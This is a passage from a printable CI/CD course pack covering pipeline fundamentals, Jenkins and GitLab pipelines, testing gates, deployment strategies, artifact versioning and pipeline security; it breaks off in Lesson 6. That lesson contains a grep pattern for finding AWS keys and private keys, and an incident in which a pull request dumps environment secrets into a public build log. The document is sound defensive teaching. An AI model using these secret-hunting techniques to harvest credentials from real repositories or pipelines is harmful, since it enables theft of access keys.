CI/CD and delivery

Design pipelines that build, test and ship safely, secure the supply chain, and deploy with rolling, canary and declarative delivery.

A MARGA printable pack. Free, offline, no sign-up. Learn online at marga.eknathalabs.com.

MARGA by EknathaLabs
marga.eknathalabs.com

Contents

1. Pipeline fundamentals (14 min)
2. Building a pipeline with a Jenkinsfile (17 min)
3. Testing strategy and quality gates (15 min)
4. Deployment strategies (14 min)
5. Versioning, artifacts and release management (14 min)
6. Securing the pipeline and the software supply chain (16 min)
7. Declarative delivery with Argo CD and Flux (16 min)
8. Release management, environments and feature flags (14 min)
9. Fast pipelines: caching, parallelism and monorepos (13 min)
10. Reusable pipelines and templates (11 min)
11. Environments, promotion and approvals (12 min)
12. Debugging failing and flaky pipelines (14 min)
13. How CI platforms work and how the three differ (12 min)
14. GitHub Actions: workflows, jobs and steps (14 min)
15. GitHub Actions: triggers, matrices and caching (13 min)
16. GitHub Actions: reusable workflows and composite actions (13 min)
17. GitHub Actions: secrets, OIDC and hardening (14 min)
18. GitHub Actions: runners, environments and deployments (13 min)
19. GitLab CI: pipelines, stages and jobs (14 min)
20. GitLab CI: rules, artifacts and caches (13 min)
21. GitLab CI: includes, templates and child pipelines (14 min)
22. GitLab CI: runners, environments and security (14 min)
23. Tekton: tasks, pipelines and workspaces (14 min)
24. Tekton: triggers, supply chain and production use (14 min)
25. Choosing and migrating between CI platforms (12 min)
26. Jenkins: controllers, agents and jobs (13 min)
27. Jenkins: declarative pipelines and the Jenkinsfile (14 min)
28. Jenkins: build agents with Docker and Kubernetes (13 min)

29. Jenkins: shared libraries and reusable pipelines (13 min)
30. Jenkins: credentials, security and hardening (14 min)
31. Jenkins: plugins, upgrades and operating at scale (13 min)
32. Jenkins: debugging builds and migrating to another platform (14 min)
Cheat sheet

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 1. Pipeline fundamentals

14 minutes. Understand continuous integration, delivery and deployment, the stages of a healthy pipeline, and the principles that keep it fast and trustworthy.

A team merges code on Friday, and an engineer spends the evening building, copying files to servers and hoping. The next release is delayed because nobody remembers the steps. A pipeline replaces that evening with an automated, repeatable path from a code change to a running service, and it does it the same way every time.

What you will learn

- The difference between CI, continuous delivery and continuous deployment
- The stages of a typical pipeline
- Principles of fast, reliable pipelines
- How to measure whether delivery is healthy

Three terms, often confused

Term	Meaning
Continuous integration (CI)	Every change is built and tested automatically, and merged into the shared mainline often
Continuous delivery	Every passing change is ready to release, and a human decides when
Continuous deployment	Every passing change is released to production automatically

Most teams practise CI everywhere, continuous delivery as a baseline, and continuous deployment where their tests and monitoring are strong enough to trust it.

Stages of a pipeline

1. **Checkout** the source at the exact revision.
2. **Build** the artifact once, for example a container image.
3. **Test**: fast unit tests first, then integration tests.
4. **Analyze**: linting, dependency checks, secret scanning, image scanning.
5. **Publish** the artifact to a registry with an immutable version tag.
6. **Deploy** to a test environment, run smoke tests.
7. **Promote** the *same artifact* to production, then verify it.

Two rules deserve emphasis:

- **Build once, deploy many.** The image tested in staging must be the image that reaches production. Rebuilding for each environment means you tested something different from what you shipped.
- **Order checks by speed.** Put the quick, cheap feedback first (lint, unit tests) so a typo fails in seconds, not after a 20-minute build.

MARGA by EknathaLabs marga.eknathalabs.com

Principles

Principle	Why
Fast feedback	Developers wait for pipelines. Aim for the main checks in under ten minutes
Deterministic	The same input gives the same result. Pin tool and dependency versions
Fail loudly	A red build must block the merge or deploy. Never leave a "known flaky" step ignored
Secrets are managed	Credentials come from a secret store at run time, never from files in the source
Pipeline as code	The definition lives next to the application, reviewed like any change
Least privilege	Build jobs can push images but should not be able to modify production directly

Measuring delivery health

The four widely used delivery metrics (from DORA research) give you a shared language:

Metric	Question it answers
Deployment frequency	How often do we release?
Lead time for changes	How long from commit to production?
Change failure rate	What share of releases cause a problem?
Time to restore service	How fast do we recover when one does?

Frequent small releases generally improve **all four**, because small changes are easier to review, test and roll back.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How Pipeline fundamentals fits together

Part	What it does	What goes wrong
Three terms, often confused	Most teams practise CI everywhere, continuous delivery as a baseline, and continuous deployment where their tests and monitoring are strong enough to trust it.	Giving the pipeline broad production credentials.
Stages of a pipeline	Checkout the source at the exact revision.	Rebuilding the artifact per environment.
Principles	.	Treating a flaky test as noise instead of fixing or removing it.
Measuring delivery health	The four widely used delivery metrics (from DORA research) give you a shared language.	Check the Common mistakes list below this diagram for what usually goes wrong here.

Flow: Three terms, often confused to Stages of a pipeline / Stages of a pipeline to Principles / Principles to Measuring delivery health

Incident: tests pass, production breaks

> **Incident:** *The pipeline is green for version 2.4.0, but production returns errors immediately after the release. Staging was fine yesterday.*

Compare what each environment actually runs:

```
$ kubectl get deploy shop-api -n shop-staging -o jsonpath='{.spec.template.spec.containers[0].imag \
```

MARGA by EknathaLabs marga.eknathalabs.com

```
    e}'
registry.example.com/shop-api:2.4.0-rc1
$ kubectl get deploy shop-api -n shop-prod -o jsonpath='{.spec.template.spec.containers[0].image}'
registry.example.com/shop-api:2.4.0
```

Staging ran a build from a release candidate, while production got a **separate rebuild** that picked up a newer dependency version. The artifact that was tested is not the artifact that shipped. Fix the pipeline so one build produces one image tagged with a unique revision, and every environment deploys that exact tag (or digest). Pin dependency versions with a lock file so rebuilds are reproducible. Roll production back to the last good tag while you do it.

Predict the pipeline

Common mistakes

- Rebuilding the artifact per environment
- Treating a flaky test as noise instead of fixing or removing it
- Giving the pipeline broad production credentials
- Skipping post-deploy verification

Check yourself

What is the difference between continuous delivery and continuous deployment?

Answer: Delivery keeps every change releasable with a human release decision; deployment releases automatically

Why build the artifact once and promote it?

Answer: So the thing you tested is exactly the thing you ship

Which check should run first in a pipeline?

Answer: Fast checks such as linting and unit tests

Which metric measures how long it takes from commit to production?

Answer: Lead time for changes

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 2. Building a pipeline with a Jenkinsfile

17 minutes. Write a declarative Jenkinsfile with build, test, scan and deploy stages, handle credentials safely and read failures.

Theory becomes useful when you can write the pipeline. This lesson builds a complete declarative Jenkins pipeline for a containerized service. The ideas carry over directly to other CI systems: stages, steps, environment, credentials, conditions and post-actions exist everywhere under different names.

What you will learn

- The structure of a declarative pipeline
- Credentials, parameters and conditions
- Parallel stages and post actions
- How to debug a failing build

MARGA by EknathaLabs
marga.eknathalabs.com

A complete pipeline

```
pipeline {
  agent { label 'docker' }

  options {
    timeout(time: 30, unit: 'MINUTES')
    disableConcurrentBuilds()
    buildDiscarder(logRotator(numToKeepStr: '30'))
  }

  environment {
    REGISTRY = 'registry.example.com'
    IMAGE    = "${REGISTRY}/shop-api"
    TAG      = "build-${env.BUILD_NUMBER}"
  }

  stages {
    stage('Checkout') {
      steps {
        checkout scm
      }
    }

    stage('Test') {
      parallel {
        stage('Unit tests') {
          steps { sh 'make test' }
        }
        stage('Lint') {
          steps { sh 'make lint' }
        }
      }
    }

    stage('Build image') {
      steps {
        sh 'docker build -t "$IMAGE:$TAG" .'
      }
    }

    stage('Scan image') {
      steps {
        sh 'trivy image --severity HIGH,CRITICAL --exit-code 1 "$IMAGE:$TAG"'
      }
    }

    stage('Push') {
      when { branch 'main' }
      steps {
        withCredentials([usernamePassword(credentialsId: 'registry-creds',
                                          usernameVariable: 'REG_USER',
                                          passwordVariable: 'REG_PASS')]) {
          sh 'echo "$REG_PASS" | docker login "$REGISTRY" -u "$REG_USER" --password-stdin'
          sh 'docker push "$IMAGE:$TAG"'
        }
      }
    }

    stage('Deploy to staging') {
      when { branch 'main' }
      steps {
        sh 'kubectl --context staging set image deployment/shop-api api="$IMAGE:$TAG" -n shop'
        sh 'kubectl --context staging rollout status deployment/shop-api -n shop --timeout=180s'
      }
    }
  }

  post {
    failure {
      echo "Build ${env.BUILD_NUMBER} failed"
    }
    always {
      sh 'docker logout "$REGISTRY" || true'
```

MARGA by EknathaLabs
marga.eknathalabs.com

```
    }
  }
}
```

Reading it

Part	What it does
`agent`	Which worker runs the job
`options`	Timeout, one build at a time, log retention
`environment`	Variables for all stages. The image tag is unique per build, so every image is traceable to one run
`stages` and `steps`	The ordered work. `parallel` runs independent stages at the same time
`when`	Condition. Push and deploy happen only on the main branch
`withCredentials`	Injects secrets for the block only and masks them in logs
`post`	Runs after the stages: `always`, `failure`, `success`

Notice the single quotes around shell commands that use `$IMAGE`. With single quotes, the *shell* expands the variable, so Jenkins never interpolates a secret into the command string. With double quotes, Groovy interpolates first and credentials can leak into the build log or process list.

> **Warning:** *Do not put credentials in the pipeline file, in environment variables defined in the file, or in the image. Store them in the CI system's credential store and reference them by ID. Give the registry credential push rights only to the repository it needs.*

Habits that keep pipelines healthy

- Keep the pipeline file small by moving logic into scripts (`make test`, `./ci/deploy.sh`) that developers can run locally the same way.
- Fail fast with `set -euo pipefail` in scripts, as in the scripting module.
- Cache dependencies carefully and key the cache on the lock file.
- Archive test reports and keep logs, so failures can be diagnosed afterward.
- Verify after deploy. `rollout status` makes the pipeline fail if the new version never becomes ready.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How Building a pipeline with a Jenkinsfile fits together

Part	What it does	What goes wrong
A complete pipeline	.	No timeout, so a hung step blocks the agent forever.
Reading it	Notice the single quotes around shell commands that use $IMAGE.	Using double-quoted shell strings with secrets.
Habits that keep pipelines healthy	Keep the pipeline file small by moving logic into scripts (make test, ./ci/deploy.sh) that developers can run locally the same way.	Tests that depend on tools installed manually on the worker.

Flow: A complete pipeline to Reading it / Reading it to Habits that keep pipelines healthy

Incident: the build passes locally but fails in CI

> **Incident:** `make test` *passes on your laptop. In the pipeline the Test stage fails with* `ModuleNotFoundError: No module named 'psycopg2'`.

The console log shows the exact command and the environment it ran in:

```
[Pipeline] sh
+ make test
python -m pytest
ModuleNotFoundError: No module named 'psycopg2'
make: *** [test] Error 1
```

Your laptop has the package installed globally from months ago; the clean CI worker does not. The pipeline had no step that installs the declared dependencies, so it relied on an accident. The cure is to make the build self-contained: install from the lock file in an isolated environment, and ideally run tests inside the same container image you build.

```
python -m venv .venv
. .venv/bin/activate
pip install --require-hashes -r requirements.lock
python -m pytest
```

A good rule: if a step only works on one machine, the pipeline has found an undeclared dependency. That is a feature of CI, not an annoyance.

Common mistakes

- Using double-quoted shell strings with secrets
- No timeout, so a hung step blocks the agent forever
- Deploying from any branch instead of only the main branch
- Tests that depend on tools installed manually on the worker

Check yourself

Why use single quotes around sh commands that reference secret variables in a Jenkinsfile?

Answer: The shell expands the variable, so Groovy does not interpolate the secret into the command text

What does a when { branch 'main' } condition do?

Answer: Runs that stage only for builds on the main branch

How should a pipeline obtain a registry password?

Answer: From the CI credential store, injected with withCredentials

What does the post { always { ... } } block do?

Answer: Runs after the stages regardless of the outcome

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 3. Testing strategy and quality gates

15 minutes. Decide which tests run where in a pipeline, keep them fast and reliable, handle flaky tests, and turn coverage, linting and security checks into enforced gates.

A pipeline that builds but does not test only delivers bugs faster. A pipeline with slow, flaky tests teaches people to ignore red builds. Good test strategy gives fast feedback first and expensive confidence later, and treats failures as information you can trust.

What you will learn

- The test pyramid and what belongs at each level
- Ordering pipeline stages for fast feedback
- Quality gates: linting, coverage thresholds and static analysis
- Dealing with flaky tests and slow suites

The test pyramid

Level	What it checks	Speed	How many
Unit	One function or class, no network or disk	Milliseconds	Thousands
Integration	A component with a real database, queue or API	Seconds	Hundreds
End to end	The deployed system through its public interface	Minutes	A few dozen
Smoke	"Is the deployed service alive and answering?"	Seconds	A handful

The shape matters. Many fast unit tests find most defects cheaply. A few end-to-end tests prove the pieces work together. An inverted pyramid, with mostly slow browser tests, produces pipelines that take an hour and fail for reasons unrelated to the change.

Ordering stages for fast feedback

Run the cheapest, most informative checks first and stop at the first failure. Run independent checks in parallel.

```
stages: [lint, test, build, scan, deploy-staging, smoke]

lint:
  stage: lint
  script:
    - ruff check .
    - yamllint deploy/
    - hadolint Dockerfile

unit:
  stage: test
  script:
    - python -m pytest tests/unit -q --cov=app --cov-fail-under=80

integration:
  stage: test
  services:
    - postgres:16
  script:
    - python -m pytest tests/integration -q

build-image:
  stage: build
  script:
    - docker build -t registry.example.com/shop/api:${BUILD_ID} .

scan-image:
```

MARGA by EknathaLabs marga.eknathalabs.com

```
    stage: scan
    script:
      - trivy image --exit-code 1 --severity CRITICAL registry.example.com/shop/api:${BUILD_ID}

smoke:
    stage: smoke
    script:
      - curl -fsS -m 10 https://staging.example.com/healthz
```

Lint finishes in seconds and catches typos and style problems before anyone waits for tests. The scan only runs on an image that built successfully. The smoke test runs against the freshly deployed staging environment.

Quality gates

A **gate** is an automatic pass or fail rule. Useful gates include a minimum coverage threshold, no new high-severity static-analysis findings, no known critical vulnerabilities, and formatting that matches the project style.

```
$ python -m pytest --cov=app --cov-report=term-missing --cov-fail-under=80
$ ruff check . && ruff format --check .
$ shellcheck scripts/*.sh
$ terraform fmt -check -recursive
$ kubeconform -strict -summary k8s/
```

Set gates you will actually enforce. A coverage target nobody respects is noise. Prefer "coverage on changed lines must not fall" over one global number, and avoid chasing 100 percent: tests that exist only to touch lines add cost without finding bugs.

Flaky tests

A flaky test passes and fails with no code change. Common causes are timing assumptions, shared state between tests, order dependence, real network calls and clocks.

- Replace `sleep` with waiting for a condition
- Give each test its own data and clean it up
- Freeze or inject the clock
- Mock external services in unit tests
- Run the suite in random order to expose hidden dependencies

When a flaky test is found, **quarantine it quickly**: move it to a non-blocking job, open a ticket with an owner and a deadline, and fix or delete it. Automatically re-running failures hides the problem and trains people to distrust red builds.

Keeping the pipeline fast

```
$ python -m pytest -q --durations=10
$ python -m pytest -q -n auto
$ docker build --cache-from registry.example.com/shop/api:cache -t shop-api:test .
```

Aim for the commit-to-feedback loop under ten minutes. Cache dependencies, run tests in parallel, run only affected tests where tooling supports it, and move slow suites to a nightly job while keeping a representative subset on every change.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

MARGA by EknathaLabs
marga.eknathalabs.com

Diagram: How Testing strategy and quality gates fits together

Part	What it does	What goes wrong
The test pyramid	The shape matters. Many fast unit tests find most defects cheaply.	Mocking everything so tests never touch real behaviour.
Ordering stages for fast feedback	Run the cheapest, most informative checks first and stop at the first failure.	Running end-to-end tests against shared, unstable environments.
Quality gates	A gate is an automatic pass or fail rule.	Coverage thresholds that are never enforced or are gamed.
Flaky tests	A flaky test passes and fails with no code change.	Automatically retrying flaky tests instead of fixing them.
Keeping the pipeline fast	Aim for the commit-to-feedback loop under ten minutes.	Letting the pipeline get slower until people skip it.

Flow: The test pyramid to Ordering stages for fast feedback / Ordering stages for fast feedback to Quality gates / Quality gates to Flaky tests / Flaky tests to Keeping the pipeline fast

Incident: the green build that broke production

> **Incident:** *A change passes every check and deploys. Within minutes checkout fails: the new code reads a database column that exists in the test database but not in production, because a migration was never applied to the production schema.*

Unit tests mocked the database, and the integration tests ran against a schema created fresh from the model, not from the real migration history. Close the gap:

```
$ python manage.py migrate --plan
$ python manage.py makemigrations --check --dry-run
$ curl -fsS https://staging.example.com/healthz/db
```

Run integration tests against a database built by the same migrations that production uses, apply migrations in the pipeline before the application rollout, and add a smoke check that exercises a database-backed endpoint. Add a regression test for this exact case.

Common mistakes

- Letting the pipeline get slower until people skip it
- Automatically retrying flaky tests instead of fixing them
- Mocking everything so tests never touch real behaviour
- Coverage thresholds that are never enforced or are gamed
- Running end-to-end tests against shared, unstable environments

Check yourself

Why keep most tests at the unit level?

Answer: They are fast and cheap, so failures are found early and precisely

Why run lint before slow tests?

Answer: It fails in seconds and saves waiting for expensive stages

What is a good response to a flaky test?

Answer: Quarantine it, assign an owner and fix or remove it

What does a quality gate do?

Answer: Automatically fails the pipeline when a defined standard is not met

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 4. Deployment strategies

14 minutes. Compare rolling, blue-green and canary releases, use feature flags to separate deploy from release, and plan rollback and database changes.

How you put a new version in front of users decides how much risk each release carries. A strategy answers three questions: how much traffic is exposed to the new version, how quickly can you go back, and how much extra capacity does it cost.

What you will learn

- Rolling, blue-green and canary strategies
- Feature flags and why deploy is not release
- Safe handling of database changes
- Automated verification and rollback

The strategies

Strategy	How it works	Strength	Weakness
Recreate	Stop the old version, start the new one	Simplest	Downtime
Rolling	Replace instances a few at a time	No extra capacity, no downtime	Old and new run together for a while; slower rollback
Blue-green	Run the new version beside the old, then switch all traffic	Instant switch and instant rollback	Double capacity during the switch
Canary	Send a small share of traffic (say 5%) to the new version, then grow it	Limits the damage of a bad release	Needs traffic control and good metrics

In Kubernetes, a Deployment gives you rolling updates by default. Blue-green is commonly done by running two Deployments and switching a Service selector. Canary needs an ingress or service mesh that can split traffic by weight, or a progressive delivery controller.

```
# Blue-green switch: change which version the Service selects
apiVersion: v1
kind: Service
metadata:
  name: shop-api
spec:
  selector:
    app: shop-api
    track: green        # was: blue
  ports:
    - port: 80
      targetPort: 8080
```

A canary needs a decision rule

A canary is only as good as the metrics you check. Decide in advance what "healthy" means and let automation judge it:

- Error rate of the canary is no worse than the stable version
- Latency at the 95th percentile within an agreed margin
- No increase in crashes or restarts

If any check fails, traffic returns to the stable version automatically.

MARGA by EknathaLabs marga.eknathalabs.com

Separate deploy from release

A **feature flag** lets you put code into production switched off, then turn it on for a small group, then everyone. Deploying becomes routine and low-risk, and "release" becomes a business decision that can be reversed in seconds without redeploying.

```
if flags.is_enabled("new-checkout", user_id=user.id):
    return new_checkout(cart)
return old_checkout(cart)
```

Remove flags once a feature is fully released. Old flags become hidden complexity that nobody dares touch.

Databases are the hard part

Code can be rolled back in seconds; data changes cannot. During a rolling or canary release both versions run against the same database, so every schema change must work with **both** the old and new code. Use the **expand and contract** pattern:

1. **Expand**: add the new column or table (nullable, with no breaking change). Old code ignores it.
2. **Migrate**: deploy code that writes both and reads the new one; backfill existing data.
3. **Contract**: after the old version is gone and you are sure you will not roll back, remove the old column in a later release.

Never rename or drop a column in the same release that stops using it.

Verify and roll back

After every deploy, run automated **smoke tests** against the real environment and watch key metrics for a short bake time. Define the rollback in advance: for Kubernetes, `kubectl rollout undo`; for blue-green, switch the selector back; for flags, turn the flag off. A rollback you have never practised is a guess.

Incident: a canary takes down checkout

> **Incident:** *A canary at 10% of traffic goes out at 14:00. At 14:06 the checkout error rate rises to 12% for the whole site, not just the canary.*

Look at what the canary and stable versions have in common: the database.

```
$ kubectl logs deploy/shop-api-canary -n shop --tail 3
ERROR: column "currency_code" of relation "orders" does not exist
```

The new code expects a column that the migration has not created in this environment, and a second effect: the canary's failed requests hold database connections, starving the stable pods. Immediately set the canary weight to zero to stop the damage, which restores service.

The lessons are procedural: run the migration (the **expand** step) as its own earlier release and confirm it before the code that needs it, add a rule that aborts the canary automatically when the error rate climbs above a threshold, and keep connection pools sized so one bad version cannot exhaust the database.

Diagram: A canary release step by step

Part	What it does	What goes wrong
New version	Deployed beside the old one with no traffic.	If it fails to start, nothing is lost.
5 percent traffic	A small share of users reach it while metrics are watched.	Without metrics you cannot see harm.
Automatic check	Compare error rate and latency with the old version.	A weak check lets a bad build through.
Full rollout	Traffic moves up in steps to 100 percent.	Skipping steps removes the safety.
Rollback	Traffic returns to the old version in seconds.	A migration that is not reversible makes rollback unsafe.

Flow: New version to 5 percent traffic / 5 percent traffic to Automatic check / Automatic check to Full rollout / Automatic check to Rollback

MARGA by EknathaLabs
marga.eknathalabs.com

Common mistakes

- No rollback plan, or one that was never tried
- Releasing database changes together with code that depends on them
- Canaries without metrics or automatic abort
- Leaving feature flags in the code for years

Check yourself

Which strategy gives the fastest rollback by switching traffic back?

Answer: Blue-green

What is the main purpose of a canary release?

Answer: To expose a small share of traffic first and limit the impact of a bad release

What does expand and contract mean for database changes?

Answer: Add new schema compatibly first, migrate, and remove the old schema only in a later release

How do feature flags help releases?

Answer: They let you deploy code switched off and release it separately, reversibly

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 5. Versioning, artifacts and release management

14 minutes. Build once and promote the same artifact through environments, version with SemVer, store artifacts and caches properly, and keep a changelog and rollback path.

The package you test must be the package you deploy. If staging runs one build and production runs another built later from the same source, you have tested something else. Artifacts, versions and promotion rules make releases predictable and reversible.

What you will learn

- Build once, promote everywhere
- Semantic versioning and build metadata
- Storing artifacts and caching dependencies
- Changelogs, release notes and rollback

Build once, promote the artifact

A pipeline should produce an **immutable artifact** (a container image, a package, a binary) exactly once. Later stages deploy that same artifact, changing only configuration.

```
commit -> build artifact (shop-api:1.8.2-b457) -> test -> staging -> approve -> production
                            |                                          ^
                            +--------- same artifact promoted --------+
```

Environment differences belong in configuration: values, environment variables, secrets and manifests. If you rebuild per environment, a different dependency version or timestamp can sneak in, and "it passed in staging" stops meaning anything.

Semantic versioning

SemVer uses `MAJOR.MINOR.PATCH`: increase **MAJOR** for incompatible changes, **MINOR** for backward-compatible features and **PATCH** for backward-compatible fixes. Pre-release and build information go after: `2.1.0-rc.1`, `2.1.0+b457`.

```
$ VERSION=$(cat VERSION)
$ BUILD=${BUILD_NUMBER:-0}
$ TAG="${VERSION}-b${BUILD}"
$ echo "building ${TAG}"
$ docker build --build-arg VERSION="$VERSION" -t registry.example.com/shop/api:"$TAG" .
$ docker push registry.example.com/shop/api:"$TAG"
```

Services that only talk to your own clients often use a build number or date instead. What matters is that every deployed artifact has a **unique, traceable identifier** that maps back to the exact source revision, so you can answer "what is running in production" in seconds.

Recording what was built

Store metadata with the artifact: source revision, build number, build time, test results and scan results. Embed the version in the application so it can report it.

```
build:
  script:
    - docker build -t registry.example.com/shop/api:${BUILD_ID}
        --label org.opencontainers.image.revision=${SOURCE_REV}
        --label org.opencontainers.image.version=${VERSION} .
    - docker push registry.example.com/shop/api:${BUILD_ID}
  artifacts:
    paths:
      - sbom.json
      - test-report.xml
    expire_in: 90 days
```

```
$ docker inspect registry.example.com/shop/api:457 --format '{{json .Config.Labels}}'
```

MARGA by EknathaLabs marga.eknathalabs.com

```
$ curl -fsS https://shop.example.com/version
```

A `/version` endpoint, or a metric like `app_build_info{version="1.8.2"}`, lets monitoring show which version served each request and correlate errors with releases.

Caches and artifact storage

Dependency downloads dominate build time. Cache them keyed on the lock file so the cache refreshes only when dependencies change.

```
cache:
  key:
    files: [requirements.txt]
  paths:
    - .cache/pip
```

Use a proper artifact repository for packages and images, with retention rules. Keep release artifacts long enough to roll back and to satisfy audit needs, and delete short-lived branch builds quickly. Never rely on a build agent's local disk as the only copy.

Changelog and rollback

Automate release notes from the changes included, and require a rollback plan for risky ones. The simplest rollback is redeploying the previous artifact, which is only possible if:

- the previous artifact still exists in the registry
- database changes were backward compatible (expand, then contract)
- configuration for the old version is still available

```
$ kubectl rollout history deployment/shop-api -n shop
$ kubectl rollout undo deployment/shop-api -n shop --to-revision=12
$ kubectl rollout status deployment/shop-api -n shop
```

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How Versioning, artifacts and release management fits together

Part	What it does	What goes wrong
Build once, promote the artifact	A pipeline should produce an immutable artifact (a container image, a package, a binary) exactly once.	Keeping the only copy of an artifact on a build agent.
Semantic versioning	SemVer uses MAJOR.MINOR.PATCH: increase MAJOR for incompatible changes, MINOR for backward-compatible features and PATCH for backward-compatible fixes.	Rebuilding the artifact for each environment.
Recording what was built	Store metadata with the artifact: source revision, build number, build time, test results and scan results.	Cleaning up old artifacts so a rollback is impossible.
Caches and artifact storage	Dependency downloads dominate build time.	Mutable tags such as prod or latest as release identifiers.
Changelog and rollback	Automate release notes from the changes included, and require a rollback plan for risky ones.	Breaking database compatibility so the previous version cannot run.

Flow: Build once, promote the artifact to Semantic versioning / Semantic versioning to Recording what was built / Recording what was built to Caches and artifact storage / Caches and artifact storage to Changelog and rollback

MARGA by EknathaLabs marga.eknathalabs.com

Incident: nobody knows what is in production

> **Incident:** *A customer reports a bug that was fixed last week. Support says the fix is released. Engineers cannot tell whether production runs the fix because images are tagged* `prod` *and the pipeline rebuilt from the main branch during the last deployment.*

Without a unique version on the running artifact there is no way to answer. The recovery path and prevention:

```
$ kubectl get deploy shop-api -n shop -o jsonpath='{.spec.template.spec.containers[0].image}'
registry.example.com/shop/api:prod
$ kubectl get pods -n shop -o jsonpath='{.items[0].status.containerStatuses[0].imageID}'
```

Resolve the digest to a build, then to a source revision via the labels. From now on, tag with a unique build identifier, never rebuild for promotion, and surface the version in the UI footer and metrics.

Common mistakes

- Rebuilding the artifact for each environment
- Mutable tags such as `prod` or `latest` as release identifiers
- Cleaning up old artifacts so a rollback is impossible
- Breaking database compatibility so the previous version cannot run
- Keeping the only copy of an artifact on a build agent

Check yourself

What does "build once, promote" mean?

Answer: Build a single artifact and deploy that same artifact through every environment

Under SemVer, a backward-compatible bug fix increments which number?

Answer: PATCH

Why must database changes be backward compatible for safe rollback?

Answer: The previous application version must still work with the current schema

How do you find which source revision a running container was built from?

Answer: Read labels or metadata attached to the artifact at build time

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 6. Securing the pipeline and the software supply chain

16 minutes. Protect secrets, runners and dependencies in CI/CD, apply least privilege to deploy credentials, scan code and images, and defend against poisoned dependencies.

A pipeline has the keys to production: it can read your source, build what you run and deploy it. That makes it one of the most attractive targets in your company. Attackers who compromise a pipeline do not need to break production, because the pipeline will deploy their code for them.

What you will learn

- Handling secrets without exposing them in logs or code
- Isolating and hardening build runners
- Granting deploy credentials with least privilege and short lifetimes
- Scanning code, dependencies and images, and pinning what you consume

Secrets in pipelines

Secrets must come from a secret store or the CI system's protected variables, be masked in logs and be scoped to the jobs that need them.

```
deploy-prod:
  stage: deploy
  environment: production
  rules:
    - if: '$CI_COMMIT_BRANCH == "main"'
  variables:
    AWS_ROLE_ARN: "arn:aws:iam::123456789012:role/shop-deploy"
  id_tokens:
    CI_JOB_JWT:
      aud: sts.amazonaws.com
  script:
    - aws sts assume-role-with-web-identity --role-arn "$AWS_ROLE_ARN" --role-session-name ci-$BUI \
    LD_ID --web-identity-token "$CI_JOB_JWT" --duration-seconds 900
    - ./deploy.sh
```

The best secret is the one that does not exist. **Workload identity federation** (OIDC) lets the pipeline prove who it is to the cloud provider and receive credentials that live for minutes, so there is no stored access key to leak. Where static secrets are unavoidable, restrict them to protected branches, rotate them regularly and never echo them.

```
$ grep -rnE "AKIA[0-9A-Z]{16}|BEGIN (RSA|EC|OPENSSH) PRIVATE KEY" . --include=* -I | head
$ detect-secrets scan --all-files | head -20
```

Run a secret scanner in the pipeline and as a pre-commit hook. A leaked key must be treated as compromised: revoke it first, then clean the history.

Runners and isolation

Build agents run untrusted code, since any pull request may contain a malicious test or build script. Treat them accordingly.

- Use ephemeral runners that are destroyed after each job
- Give runners no standing access to production networks
- Separate runners for untrusted contributions from those with deploy credentials
- Do not run pull request pipelines from forks with secrets available
- Keep the runner software and base image patched

MARGA by EknathaLabs marga.eknathalabs.com

Least privilege for deployment

The deploy job needs permission to update specific workloads, not to administer the account.

```
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: deployer
  namespace: shop
rules:
  - apiGroups: ["apps"]
    resources: ["deployments"]
    verbs: ["get", "list", "patch", "update"]
  - apiGroups: [""]
    resources: ["pods", "pods/log"]
    verbs: ["get", "list"]
```

Require approval for production, restrict who can approve, and make the pipeline definition itself reviewable. If anyone can edit the pipeline file in a feature branch and have it run with production credentials, protection of the main branch is meaningless.

Securing what you consume

Dependencies are code you did not write. Attackers publish look-alike package names, take over abandoned packages and add malicious install scripts.

```
$ npm ci --ignore-scripts
$ python -m pip install --require-hashes -r requirements.txt
$ pip-audit -r requirements.txt
$ npm audit --audit-level=high
$ trivy fs --scanners vuln,secret,misconfig .
$ trivy config --severity HIGH,CRITICAL Dockerfile k8s/
```

Use lock files and install exactly what they list. Pull through an internal proxy or mirror. Pin third-party CI plugins and actions to an exact version or digest, because a tag can be moved. Generate an SBOM for every release and sign artifacts so deployment can verify them.

A layered pipeline

Stage	Control
Commit	Secret scanning, signed commits, branch protection and review
Build	Ephemeral runner, pinned base images, locked dependencies
Test	Static analysis (SAST), dependency audit, IaC misconfiguration scan
Package	Image scan, SBOM, signature
Deploy	Admission policy verifies signature, OIDC short-lived credentials, approvals
Run	Runtime monitoring, audit logs, network policy

No single control is enough. Each layer assumes another one may fail.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

MARGA by EknathaLabs
marga.eknathalabs.com

Diagram: How Securing the pipeline and the software supply... fits together

Part	What it does	What goes wrong
Secrets in pipelines	Secrets must come from a secret store or the CI system's protected variables, be masked in logs and be scoped to the jobs that need them.	Running untrusted pull requests with production secrets.
Runners and isolation	Build agents run untrusted code, since any pull request may contain a malicious test or build script.	Persistent runners that keep state and credentials between jobs.
Least privilege for deployment	The deploy job needs permission to update specific workloads, not to administer the account.	Using floating tags for third-party pipeline plugins.
Securing what you consume	Dependencies are code you did not write.	Treating the pipeline configuration as less important than application code.
A layered pipeline	No single control is enough. Each layer assumes another one may fail.	Long-lived admin keys stored as CI variables.

Flow: Secrets in pipelines to Runners and isolation / Runners and isolation to Least privilege for deployment / Least privilege for deployment to Securing what you consume / Securing what you consume to A layered pipeline

Incident: the leaked deploy key

> **Incident:** *A contractor's pull request adds a debug line* `env | sort` *to a test script. The pipeline runs it and prints every environment variable into a publicly viewable log, including a long-lived cloud access key with admin rights. Within an hour, unfamiliar instances start in an unused region.*

Respond in order: revoke, contain, investigate, then harden.

```
$ aws iam update-access-key --access-key-id AKIAEXAMPLEKEY123456 --status Inactive --user-name ci- \
    deployer
